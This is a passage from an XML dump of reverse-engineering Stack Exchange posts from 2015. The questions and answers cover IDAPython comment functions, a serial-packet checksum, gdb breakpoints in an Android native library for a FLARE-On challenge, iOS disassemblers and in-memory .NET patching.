&lt;code&gt;find_strings()&lt;/code&gt; to retrieve the offsets and then use &lt;code&gt;MakeStr&lt;/code&gt; on strings with a certain length and the manually vetting the &amp;quot;real&amp;quot; strings.&lt;/p&gt;&#xA;&lt;h2&gt;Final Remarks&lt;/h2&gt;&#xA;&lt;p&gt;For posterity, I never really solved the issue, however I can confirm the underlying binary file was responsible for raising an exception in &lt;code&gt;get_ascii_contents2&lt;/code&gt;. I've reloaded the same file, however as a raw binary file in one large segment and the function worked flawlessly.&lt;/p&gt;&#xA;" OwnerUserId="13780" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-10-22T06:37:00.947" Title="IDAPython Strings constantly returns NoneType with str()" Tags="|ida|idapython|ida-plugin|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11045" PostTypeId="2" ParentId="11024" CreationDate="2015-10-06T19:39:39.103" Score="6" Body="&lt;p&gt;You might want to use the IDAPython wrapper functions. As you mentioned, the IDA API is quite poorly documented. One of the best, but not easiest way to actually understand it is to check the IDAPython wrapper library in your &lt;em&gt;IDA/Python/idc.py&lt;/em&gt; folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on what I've seen in the &lt;em&gt;idc.py&lt;/em&gt; file, there's some functions you might want to check out to help you out. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Creates a comment to the current line:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MakeComm(ScreenEA(), &quot;Comment Test&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Creates a repetable comment to the current line:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MakeRptCmt(ScreenEA(), &quot;Repeatable Comment&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Retrieves the comment from the current line:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Specify 1 to get the repeatable comment or 0 to get the normal comment as the second argument. Note that the function &lt;code&gt;CommentEx&lt;/code&gt; is a wrapper around &lt;code&gt;GetCommentEx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c = GetCommentEx(ScreenEA(), 1)&#xA;print(c)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or even easier is to use &lt;code&gt;Comment(ea)&lt;/code&gt; or &lt;code&gt;RptCmt(ea)&lt;/code&gt;, which are wrappers on&lt;code&gt;GetCommentEx()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def Comment(ea):                return GetCommentEx(ea, 0)&#xA;&quot;&quot;&quot;Returns the regular comment or None&quot;&quot;&quot;&#xA;&#xA;def RptCmt(ea):                 return GetCommentEx(ea, 1)&#xA;&quot;&quot;&quot;Returns the repeatable comment or None&quot;&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then you have all the special functions to retrieve comments from specific structures such as Enums, Functions, Constants...I don't believe I have seen a specific function to retrieve all comments, but it's fairly easy to build, as you did:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I've made this code that looks for lines containing a 'jump: 0x???' comment/repeatable comments. Not the best code (slow), but it illustrates the use of the IDA Python comments functions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_comments(_startea, _endea, _filter):&#xA;    matches = []&#xA;    ea = _startea&#xA;    for ea in range(_startea, _endea):&#xA;        cmt1 = Comment(ea)&#xA;        cmt2 = RptCmt(ea)&#xA;        cmt = &quot;&quot;&#xA;        if cmt1:&#xA;            cmt += cmt1&#xA;        if cmt2:&#xA;            cmt += cmt2&#xA;        if (cmt):&#xA;            re_match = re.match(_filter, cmt, re.I)&#xA;            if (re_match and len(re_match.groups()) &amp;gt; 0):&#xA;                matches.append(re_match.group(3))&#xA;    return matches&#xA;&#xA;MakeComm(ScreenEA(), 'jump: 0xBADC0DE')&#xA;filter = r'(.*)(jump: 0x)([0-9a-fA-F]+)(.*)'&#xA;addrs = get_comments(MinEA(), MaxEA(), filter)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13780" LastActivityDate="2015-10-06T19:39:39.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11046" PostTypeId="2" ParentId="11038" CreationDate="2015-10-06T19:46:07.590" Score="1" Body="&lt;p&gt;The caller passes a pointer on its own stack variable to be filled out.&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/2155730/how-do-c-compilers-implement-functions-that-return-large-structures&quot;&gt;https://stackoverflow.com/questions/2155730/how-do-c-compilers-implement-functions-that-return-large-structures&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1358" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-10-06T19:46:07.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11047" PostTypeId="1" AcceptedAnswerId="11048" CreationDate="2015-10-07T07:19:41.333" Score="1" ViewCount="389" Body="&lt;p&gt;I need to find relations last byte with others. Tried these solutions, but it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My tries:&#xA;* When I write all datas as binary, 1's count not equal but last byte same for some datas.&#xA;* When I sum all datas and divide by 3 or 4, it equals to last byte, but for future, maybe it's not stable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bunch of data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FC 41 01 30 10 01 21 00 01 00 00 00 00 00 00 00 00 00 00 00 00 5B&#xA;FC 41 01 30 10 01 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5C&#xA;&#xA;FC 41 01 30 10 01 24 00 00 00 0F 00 00 00 00 00 00 00 00 00 00 4A&#xA;FC 41 01 30 10 01 24 00 00 00 0E 00 00 00 00 00 00 00 00 00 00 4B&#xA;FC 41 01 30 10 01 24 00 00 00 0B 00 00 00 00 00 00 00 00 00 00 4E&#xA;FC 41 01 30 10 01 24 00 00 00 07 00 00 00 00 00 00 00 00 00 00 52&#xA;FC 41 01 30 10 01 24 00 00 00 06 00 00 00 00 00 00 00 00 00 00 53&#xA;FC 41 01 30 10 01 24 00 00 00 01 00 00 00 00 00 00 00 00 00 00 58&#xA;FC 41 01 30 10 01 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 59&#xA;&#xA;FC 41 01 30 10 01 22 00 00 01 00 00 00 00 00 00 00 00 00 00 00 5A&#xA;FC 41 01 30 10 01 22 00 00 03 00 00 00 00 00 00 00 00 00 00 00 58&#xA;FC 41 01 30 10 01 22 00 00 07 00 00 00 00 00 00 00 00 00 00 00 54&#xA;FC 41 01 30 10 01 22 00 00 02 00 00 00 00 00 00 00 00 00 00 00 59&#xA;&#xA;FC 62 01 30 10 03 00 00 0D 00 00 AF 00 00 00 00 00 00 00 00 00 9E&#xA;FC 62 01 30 10 03 00 00 0F 00 00 B2 00 00 00 00 00 00 00 00 00 99&#xA;FC 62 01 30 10 03 00 00 10 00 00 B4 00 00 00 00 00 00 00 00 00 96&#xA;FC 62 01 30 10 03 00 00 11 00 00 B6 00 00 00 00 00 00 00 00 00 93&#xA;FC 62 01 30 10 03 00 00 11 00 00 B7 00 00 00 00 00 00 00 00 00 92&#xA;FC 62 01 30 10 03 00 00 12 00 00 B9 00 00 00 00 00 00 00 00 00 8F&#xA;FC 62 01 30 10 03 00 00 12 00 00 B8 00 00 00 00 00 00 00 00 00 90&#xA;FC 62 01 30 10 03 00 00 13 00 00 BA 00 00 00 00 00 00 00 00 00 8D&#xA;FC 62 01 30 10 03 00 00 14 00 00 BD 00 00 00 00 00 00 00 00 00 89&#xA;FC 62 01 30 10 03 00 00 15 00 00 BE 00 00 00 00 00 00 00 00 00 87&#xA;FC 62 01 30 10 03 00 00 16 00 00 C0 00 00 00 00 00 00 00 00 00 84&#xA;FC 62 01 30 10 03 00 00 1C 00 00 D0 00 00 00 00 00 00 00 00 00 6E &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;M.&lt;/p&gt;&#xA;" OwnerUserId="13781" LastEditorUserId="14051" LastEditDate="2016-05-06T17:26:32.970" LastActivityDate="2016-05-06T17:26:32.970" Title="Reversing checksum calculation of embedded communication" Tags="|decryption|serial-communication|packet|crc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11048" PostTypeId="2" ParentId="11047" CreationDate="2015-10-07T08:19:42.100" Score="1" Body="&lt;p&gt;If you ignore the first constant byte (&lt;code&gt;FC&lt;/code&gt;), all the other bytes add up to &lt;code&gt;00&lt;/code&gt;, ignoring overflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, to calculate the last byte, start with &lt;code&gt;00&lt;/code&gt;, subtract all bytes except the first &lt;code&gt;FC&lt;/code&gt; (and the last one, obviously). Ignore underflow. The result is the last byte. Or, if that's easier in your programming language, start with &lt;code&gt;2000&lt;/code&gt; (8192 decimal), subtract all bytes, and &lt;code&gt;AND&lt;/code&gt; the result with &lt;code&gt;FF&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-10-07T08:19:42.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11049" PostTypeId="1" AcceptedAnswerId="11050" CreationDate="2015-10-07T11:58:56.907" Score="1" ViewCount="4588" Body="&lt;p&gt;I'm trying to solve FLARE-on 2015 challenge #06 (&lt;a href=&quot;http://www.flare-on.com/files/2015_FLAREOn_Challenges.zip&quot; rel=&quot;nofollow&quot;&gt;http://www.flare-on.com/files/2015_FLAREOn_Challenges.zip&lt;/a&gt;) using a dynamic analysis approach. It's an Android APK that loads a shared library (libvalidate.so). I have been able to break where this library is loaded but then, it seems that I'm not able to set other breakpoints within this library, which is critical to solve this challenge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I've been able to do so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Started the FLAREON android application (&lt;code&gt;PID: 1278&lt;/code&gt;) on my Android Virtual Device (AVD) and entered a wrong password to force libvalidate.so to appear in the loaded shared libraries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Port forwarding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mobisec $ adb forward tcp:1234 tcp:1234&#xA;mobisec $ adb shell&#xA;avd # cd /data/&#xA;avd # ./gdbserver :1234 --attach 1278&#xA;Attached; pid = 1278&#xA;Listening on port 1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*On Mobisec, in another terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mobisec # cd /opt/mobisec/Android/ndk/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/&#xA;mobisec # ./arm-linux-androideabi-gdb&#xA;(gdb) target remote :1234&#xA;Remote debugging using :1234&#xA;0xb6eca5cc in ?? ()&#xA;(gdb) set solib-search-path /data/flareon/system_lib/&#xA;[...removed...]&#xA;Reading symbols from /data/flareon/system_lib/libvalidate.so...(no debugging symbols found)...done.&#xA;Loaded symbols for /data/flareon/system_lib/libvalidate.so&#xA;[...removed...]&#xA;&#xA;(gdb) info sharedlibrary &#xA;Error reading attached process's symbol file.&#xA;com.flare_on.flare: No such file or directory.&#xA;From        To          Syms Read   Shared Object Library&#xA;[...removed...]&#xA;0xab137e20  0xab139038  Yes (*)     /data/flareon/system_lib/libvalidate.so&#xA;(gdb) &#xA;(gdb) x/50i 0xab137e20&#xA;   0xab137e20:  ldr     r0, [pc, #4]    ; 0xab137e2c&#xA;   0xab137e24:  add     r0, pc, r0&#xA;   0xab137e28:  b       0xab137da8&#xA;   0xab137e2c:  ldrdeq  r4, [r0], -r4   ; &amp;lt;UNPREDICTABLE&amp;gt;&#xA;   0xab137e30:  cmp     r0, #0&#xA;   0xab137e34:  push    {r3, lr}&#xA;   0xab137e38:  popeq   {r3, pc}&#xA;   0xab137e3c:  blx     r0&#xA;   0xab137e40:  pop     {r3, pc}&#xA;   0xab137e44:  mov     r1, r0&#xA;   0xab137e48:  ldr     r2, [pc, #12]   ; 0xab137e5c&#xA;   0xab137e4c:  ldr     r0, [pc, #12]   ; 0xab137e60&#xA;   0xab137e50:  add     r2, pc, r2&#xA;   0xab137e54:  add     r0, pc, r0&#xA;   0xab137e58:  b       0xab137d9c&#xA;   0xab137e5c:  andeq   r4, r0, r8, lsr #3&#xA;   0xab137e60:                  ; &amp;lt;UNDEFINED&amp;gt; instruction: 0xffffffd4&#xA;   0xab137e64 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate&amp;gt;:       push    {r4, r5, r6, r7, lr}&#xA;   0xab137e66 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+2&amp;gt;:&#xA;    ldr r4, [pc, #320]  ; (0xab137fa8 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+324&amp;gt;)&#xA;   0xab137e68 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+4&amp;gt;:     adds    r5, r0, #0&#xA;   0xab137e6a &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+6&amp;gt;:     movs    r1, #0&#xA;   0xab137e6c &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+8&amp;gt;:     add     sp, r4&#xA;   0xab137e6e &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+10&amp;gt;:    str     r2, [sp, #8]&#xA;   0xab137e70 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+12&amp;gt;:    add     r0, sp, #120    ; 0x78&#xA;   0xab137e72 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+14&amp;gt;:&#xA;[...removed...]&#xA;(gdb) b Java_com_flareon_flare_ValidateActivity_validate&#xA;Breakpoint 1 at 0xab137e74&#xA;(gdb) c&#xA;Continuing.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this stage, the android application runs in my emulator and I'm able to provide a string in the text field. When I click on the &quot;Validate&quot; button, the application freezes because the BP is reached:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoint 1, 0xab137e74 in Java_com_flareon_flare_ValidateActivity_validate () from /data/flareon/system_lib/libvalidate.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But from here, I haven't found how I can continue to debug because all of my attempts fail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/10i $pc&#xA;=&amp;gt; 0xab137e74 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+16&amp;gt;:    bl      0xab138f08&#xA;   0xab137e78 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+20&amp;gt;:&#xA;    ldr r1, [pc, #308]  ; (0xab137fb0 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+332&amp;gt;)&#xA;   0xab137e7a &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+22&amp;gt;:    movs    r2, #92 ; 0x5c&#xA;   0xab137e7c &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+24&amp;gt;:    add     r0, sp, #28&#xA;   0xab137e7e &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+26&amp;gt;:    add     r1, pc&#xA;   0xab137e80 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+28&amp;gt;:    bl      0xab138f18&#xA;   0xab137e84 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+32&amp;gt;:    ldr     r1, [r5, #0]&#xA;   0xab137e86 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+34&amp;gt;:    movs    r3, #169        ; 0xa9&#xA;   0xab137e88 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+36&amp;gt;:    lsls    r3, r3, #2&#xA;   0xab137e8a &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+38&amp;gt;:    ldr     r3, [r1, r3]&#xA;(gdb) step&#xA;Single stepping until exit from function Java_com_flareon_flare_ValidateActivity_validate,&#xA;which has no line number information.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you please help? Many thanks in advance for your feedback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post comment edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the clarifications regarding the &lt;code&gt;step&lt;/code&gt; (step out) vs &lt;code&gt;si&lt;/code&gt; (step in) commands, very useful indeed. Maybe the initial post was lacking from clarity. What I would like to do is actually create another breakpoint later in the code but it seems to fail, as depicted below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) b Java_com_flareon_flare_ValidateActivity_validate&#xA;Breakpoint 1 at 0xab143e74&#xA;(gdb) c&#xA;Continuing.&#xA;&#xA;Breakpoint 1, 0xab143e74 in Java_com_flareon_flare_ValidateActivity_validate () from /data/flareon/system_lib/libvalidate.so&#xA;(gdb) x/20i $pc&#xA;=&amp;gt; 0xab143e74 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+16&amp;gt;:    bl      0xab144f08&#xA;   0xab143e78 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+20&amp;gt;:&#xA;    ldr r1, [pc, #308]  ; (0xab143fb0 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+332&amp;gt;)&#xA;   0xab143e7a &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+22&amp;gt;:    movs    r2, #92 ; 0x5c&#xA;   0xab143e7c &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+24&amp;gt;:    add     r0, sp, #28&#xA;   0xab143e7e &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+26&amp;gt;:    add     r1, pc&#xA;   0xab143e80 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+28&amp;gt;:    bl      0xab144f18&#xA;   0xab143e84 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+32&amp;gt;:    ldr     r1, [r5, #0]&#xA;   0xab143e86 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+34&amp;gt;:    movs    r3, #169        ; 0xa9&#xA;   0xab143e88 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+36&amp;gt;:    lsls    r3, r3, #2&#xA;   0xab143e8a &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+38&amp;gt;:    ldr     r3, [r1, r3]&#xA;   0xab143e8c &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+40&amp;gt;:    adds    r0, r5, #0&#xA;   0xab143e8e &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+42&amp;gt;:    ldr     r1, [sp, #8]&#xA;   0xab143e90 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+44&amp;gt;:    movs    r2, #0&#xA;   0xab143e92 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+46&amp;gt;:    blx     r3&#xA;   0xab143e94 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+48&amp;gt;:    subs    r6, r0, #0&#xA;   0xab143e96 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+50&amp;gt;:&#xA;    beq.n       0xab143eac &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+72&amp;gt;&#xA;   0xab143e98 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+52&amp;gt;:    bl      0xab144f28&#xA;   0xab143e9c &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+56&amp;gt;:    cmp     r0, #46 ; 0x2e&#xA;   0xab143e9e &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+58&amp;gt;:&#xA;    bhi.n       0xab143eac &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+72&amp;gt;&#xA;   0xab143ea0 &amp;lt;Java_com_flareon_flare_ValidateActivity_validate+60&amp;gt;:    movs    r2, #0&#xA;(gdb) b 0xab143e80&#xA;Function &quot;0xab143e80&quot; not defined.&#xA;Make breakpoint pending on future shared library load? (y or [n]) y&#xA;Breakpoint 2 (0xab143e80) pending.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, when I try to set a second BP at &lt;code&gt;0xab143e80&lt;/code&gt;, it says the function is not defined. Even if I force the creation of this BP, it is never reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: once I am at the 1st breakpoint, how can I set another breakpoint (say for example at &lt;code&gt;0xab143e80&lt;/code&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="13001" LastEditorUserId="13001" LastEditDate="2015-10-07T14:23:45.797" LastActivityDate="2015-10-07T14:27:10.420" Title="Breakpoint to debug Android Native Shared Library" Tags="|android|shared-object|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11050" PostTypeId="2" ParentId="11049" CreationDate="2015-10-07T13:50:48.333" Score="3" Body="&lt;h2&gt;Answer to your first question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.google.com/webhp?q=gdb%20step&quot; rel=&quot;nofollow&quot;&gt;Googling for &lt;code&gt;gdb step&lt;/code&gt;&lt;/a&gt; yields &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Continuing-and-Stepping.html&quot; rel=&quot;nofollow&quot;&gt;https://sourceware.org/gdb/onlinedocs/gdb/Continuing-and-Stepping.html&lt;/a&gt; as the first result. From that page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Warning:&lt;/em&gt; If you use the &lt;code&gt;step&lt;/code&gt; command while control is within a&#xA;  function that was compiled without debugging information, execution&#xA;  proceeds until control reaches a function that does have debugging&#xA;  information. Likewise, it will not step into a function which is&#xA;  compiled without debugging information. To step through functions&#xA;  without debugging information, use the &lt;code&gt;stepi&lt;/code&gt; command, described below.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since the binary likely wasn't compiled with debugging information, you need to use &lt;code&gt;stepi&lt;/code&gt; instead of &lt;code&gt;step&lt;/code&gt;, as @guntram-blohm suggested in his comment above.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Answer to your second question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;b 0xab143e80&lt;/code&gt; is not the correct syntax to set a breakpoint on an address; &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Specify-Location.html&quot; rel=&quot;nofollow&quot;&gt;you need to use &lt;code&gt;b *0xab143e80&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please refer to &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/&quot; rel=&quot;nofollow&quot;&gt;https://sourceware.org/gdb/onlinedocs/gdb/&lt;/a&gt; for further questions on &lt;code&gt;gdb&lt;/code&gt; usage and command syntax.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-10-07T14:27:10.420" LastActivityDate="2015-10-07T14:27:10.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11051" PostTypeId="1" AcceptedAnswerId="11052" CreationDate="2015-10-07T15:14:02.710" Score="-2" ViewCount="1411" Body="&lt;p&gt;I want to learn to Reverse Engineer iOS Apps. I know exactly what I need to do and I've got almost everything set up. My iPhone is jailbroken, I have installed OpenSSH to SSH into the iPhone from my Mac and installed Cycript, otool and Clutch. Now the only thing holding me back is getting an Interactive Disassembler. Could you point me in the right direction of an IDA I could use on my Mac laptop that would feature most things and is very efficient?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="11919" LastActivityDate="2015-10-08T03:19:49.013" Title="Reverse Engineering iOS Apps on a Mac OS X" Tags="|ida|disassemblers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11052" PostTypeId="2" ParentId="11051" CreationDate="2015-10-07T15:17:29.230" Score="1" Body="&lt;p&gt;Your best options are &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow&quot;&gt;IDA Pro&lt;/a&gt; and &lt;a href=&quot;http://www.hopperapp.com/&quot; rel=&quot;nofollow&quot;&gt;Hopper&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-10-07T15:17:29.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11054" PostTypeId="1" AcceptedAnswerId="11055" CreationDate="2015-10-07T22:14:34.060" Score="4" ViewCount="2868" Body="&lt;p&gt;Are there techniques for patching .net executables &lt;em&gt;in memory&lt;/em&gt;? Let's say we've have a .net dll/exe, we identified what method we want to patch and what IL to replace the existing code with. Executing this on the binary file is easy (let's assume it does not have a strong name for simplicity). But what if we want to leave the file intact? Is it possible to make the patch in-memory? Maybe it is possible to write an exe loader that would intercept dll loading and re-write IL on the fly somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that once the code is in memory it is no longer IL, but natively compiled, and thus, our knowledge of what method we want to patch with which IL does not help us a lot. So it looks like doing this during load time is the only way which might allow us not modifying the original files on disk. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I'm especially interested in the case where the main program executable is not .net, but native, which loads .net dlls, such as in case with Unity3D player.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="13508" LastEditorUserId="13508" LastEditDate="2015-10-07T22:24:19.583" LastActivityDate="2015-10-08T00:04:38.657" Title="In-memory patching of .net code" Tags="|memory|patching|.net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11055" PostTypeId="2" ParentId="11054" CreationDate="2015-10-08T00:04:38.657" Score="5" Body="&lt;p&gt;Low-level details and implementation for patching and intercepting .NET code at runtime: &lt;a href=&quot;http://www.ntcore.com/files/netint_injection.htm&quot; rel=&quot;noreferrer&quot;&gt;http://www.ntcore.com/files/netint_injection.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;High-level details and implementation for patching and intercepting .NET code at runtime: &lt;a href=&quot;http://www.codeproject.com/Articles/16359/MethodLogger-Hook-into-method-calls-in-NET-binarie&quot; rel=&quot;noreferrer&quot;&gt;http://www.codeproject.com/Articles/16359/MethodLogger-Hook-into-method-calls-in-NET-binarie&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-10-08T00:04:38.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11056" PostTypeId="2" ParentId="11051" CreationDate="2015-10-08T03:19:49.013" Score="-1" Body="&lt;p&gt;very pleased to be able to answer this question.&#xA;Apple app are encrypted private account, you need to use &lt;a href=&quot;https://github.com/stefanesser/dumpdecrypted&quot; rel=&quot;nofollow&quot;&gt;dumpdecrypted&lt;/a&gt; decrypt it prior to analysis.&lt;/p&gt;&#xA;" OwnerUserId="12941" LastActivityDate="2015-10-08T03:19:49.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11057" PostTypeId="1" AcceptedAnswerId="11058" CreationDate="2015-10-08T10:24:28.663" Score="1" ViewCount="2789" Body="&lt;p&gt;Is there any kind of IDAPython/IDC function, i.e. a programmatic method, that allows you to simulate this?&lt;/p&gt;&#xA;&lt;p&gt;&lt;kbd&gt;Structures&lt;/kbd&gt; -&amp;gt; &lt;kbd&gt;Insert&lt;/kbd&gt; -&amp;gt; &lt;kbd&gt;Add standard structure&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="2373" LastEditorUserId="245" LastEditDate="2022-04-20T09:13:06.733" LastActivityDate="2022-04-20T14:41:09.180" Title="Adding automatically standard structs or enums" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11058" PostTypeId="2" ParentId="11057" CreationDate="2015-10-08T10:32:39.973" Score="2" Body="&lt;p&gt;The modern counterparts of the functions from the original answer below are called:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://hex-rays.com/products/ida/support/idadoc/174.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;success add_default_til(string name);&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://hex-rays.com/products/ida/support/idadoc/175.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;long import_type(long idx, string type_name);&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I found the solution using &lt;strong&gt;Til2Idb&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;LoadTil(&amp;quot;type_library_name&amp;quot;) #example: mssdk&#xA;Til2Idb(-1, &amp;quot;YOUR_STRUCT_NAME_HERE&amp;quot;) # example: IMAGE_OPTIONAL_HEADER&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first parameter is used if you want it in a specific position of your structures list. &amp;quot;-1&amp;quot; means the end of the list.&lt;/p&gt;&#xA;" OwnerUserId="2373" LastEditorUserId="245" LastEditDate="2022-04-20T14:41:09.180" LastActivityDate="2022-04-20T14:41:09.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
